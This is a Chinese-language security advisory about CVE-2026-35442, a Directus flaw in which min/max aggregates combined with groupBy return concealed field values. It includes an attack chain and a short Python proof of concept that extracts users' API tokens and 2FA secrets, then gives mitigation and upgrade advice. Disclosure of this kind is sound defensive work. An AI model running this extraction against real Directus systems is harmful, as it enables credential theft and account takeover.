IPBUF安全漏洞报告
English
CVE-2026-35442 CVSS 8.1 高危

CVE-2026-35442 Directus敏感信息泄露漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35442
漏洞类型
敏感信息泄露
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

信息泄露DirectusAPI安全权限绕过CVE-2026-35442

漏洞概述

Directus是一个开源的实时API和应用仪表板,用于管理SQL数据库内容。在11.17.0版本之前,该系统存在一个严重的安全缺陷。当对配置为“隐藏”特殊类型的字段应用聚合函数(如min或max)时,系统未能正确执行数据掩码,而是错误地返回了数据库中的原始值。如果攻击者将此操作与groupBy查询结合使用,任何拥有受影响集合读取权限的经过身份验证的用户,均可成功提取本应被隐藏的字段内容。这包括但不限于directus_users表中的静态API令牌和双因素认证(2FA)恢复密钥,从而导致严重的信息泄露风险。

技术细节

该漏洞的根源在于Directus后端对聚合查询与字段访问控制列表(ACL)处理的逻辑冲突。Directus设计了一种“conceal”数据类型,旨在自动屏蔽敏感数据。然而,在构建SQL查询时,当检测到聚合函数(min/max)作用于这些字段时,系统优先执行聚合逻辑,绕过了常规的数据脱敏层。特别是当查询包含groupBy子句时,数据库直接返回了原始字段值进行聚合计算,且API层在输出时未再次进行掩码处理。攻击者只需具备基本的读取权限,即可通过构造特定的API请求(例如/items/users?groupBy[]=id&fields[]=min(token)),诱导服务器返回敏感信息。这种无需提权即可窃取核心凭证(如API Token、2FA Secret)的特性,使得该漏洞极具危险性,极易导致账户接管和系统进一步沦陷。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个拥有Directus系统基本读取权限的低权限账户。
STEP 2
2. 构造恶意查询
攻击者分析API接口,构造包含聚合函数(min/max)和groupBy参数的HTTP请求,目标指向包含敏感隐藏字段(如token)的集合(如directus_users)。
STEP 3
3. 绕过掩码机制
服务器处理请求时,由于逻辑漏洞,在执行聚合计算时未对“隐藏”字段进行脱敏,直接返回了数据库中的原始值。
STEP 4
4. 提取敏感数据
攻击者解析API响应,获取泄露的静态API令牌、双因素认证密钥或其他敏感凭据。
STEP 5
5. 提权与接管
利用获取的高权限Token或2FA密钥,接管管理员账户或访问受限资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://your-directus-instance/items/directus_users" access_token = "YOUR_LOW_PRIVILEGE_TOKEN" # Token of a user with read access # Exploit payload: Using aggregate function 'min' on a concealed field (e.g., 'token') # Combined with 'groupBy' to bypass the conceal logic and expose raw values. payload = { "groupBy[]": ["id"], "fields": ["id", "min(token)", "min(tfa_secret)"] # Targeting concealed fields } headers = { "Authorization": f"Bearer {access_token}" } try: response = requests.get(target_url, headers=headers, params=payload) if response.status_code == 200: print("[+] Exploit successful! Sensitive data extracted:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Directus < 11.17.0

防御指南

临时缓解措施
如果无法立即升级版本,管理员应严格审查并修改角色权限,撤销普通用户对包含敏感字段(如tokens、secrets)的集合的访问权限,特别是对directus_users表的读取操作,以防止数据被提取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表